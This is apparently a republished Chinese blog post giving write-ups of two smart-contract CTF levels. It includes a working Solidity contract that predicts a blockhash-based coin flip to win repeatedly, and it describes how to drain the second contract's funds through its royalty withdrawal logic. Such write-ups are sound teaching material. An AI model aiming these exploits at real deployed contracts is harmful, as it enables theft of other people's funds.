Heads or Tails
function play(bool _heads) external payable ctf{
require(msg.value == cost, "Incorrect Transaction Value");
require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
//win
gameFunds = gameFunds.sub(msg.value.div(2));
msg.sender.transfer(msg.value.mul(3).div(2));
}
else {
//loser
gameFunds = gameFunds.add(msg.value);
}
}
還是一個簡單的亂數問題，寫個合約攻擊一下就行，
一定一定一定一定記得寫個自毀函式，不然錢就沒了，
pragma solidity 0.4.24;
interface HeadsOrTails{
function play(bool _heads) external payable;
}
contract Feng {
HeadsOrTails constant private target = HeadsOrTails(0x6B1E8Df7b809bE6bECe0FBFd94e90d6a854b2CC3);
function attack(uint max) public payable{
for(uint i = 0; i < max; i++){
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
bool _heads = (coinFlip == 1) ?true:false;
target.play.value(0.1 ether)(_heads);
}
}
function() public payable{
}
function kill() public {
selfdestruct(msg.sender);
}
}
Record Label
這題怎么說呢，我感覺有些怪，雖然說這個靶場的過關條件就是把目標合約中的余額給清空即可，
這個函式：
function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
funds = funds.sub(_withdrawAmount);
royalties.call.value(_withdrawAmount)();
uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid);
msg.sender.transfer(artistPayout);
}
如果我們直接轉1 ether，那么會把這個合約的1 ether轉給那個royalties，之后呼叫getLastPayoutAmountAndReset函式，得到的就是轉入的總金額減去那邊receive得到的錢，這部分的錢是轉回了我們的目標合約中，但是
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid);
msg.sender.transfer(artistPayout);
這部分又轉給了我們自己，說白了就是%80給那邊，%20給我們，如果直接傳1 ether，那么目標合約的余額就被清空了，成功過關，
不過有一說一這題目吃我錢就有點難受的，我的想法是這個函式是可以修改receiverToPercentOfProfit的：
function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
receiver.push(_receiver);
receiverToPercentOfProfit[_receiver] = _percent;
percentRemaining = percentRemaining.sub(_percent);
}
雖然address private collectionsContract;是private，但是可以讀到，然后把它作為_receiver傳進入，_percent傳0，就能把他的那%80清空，然后再withdrawFundsAndPayRoyalties傳1 ether的話，就能把1 ether完全轉回我們自己的賬號的，
怪就怪在，我找的幾個WP都是說直接傳1 ether過關即可，，，雖然是虛擬即ETH，但是我ETH真的不多，所以想方設法把它轉回來，，，可能寫WP的那些師傅們ETH比較多叭，，，
操作比較簡單，這里就不具體放了，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qukuanlian/280250.html
標籤：區塊鏈
上一篇：Go2Shell的安裝與配置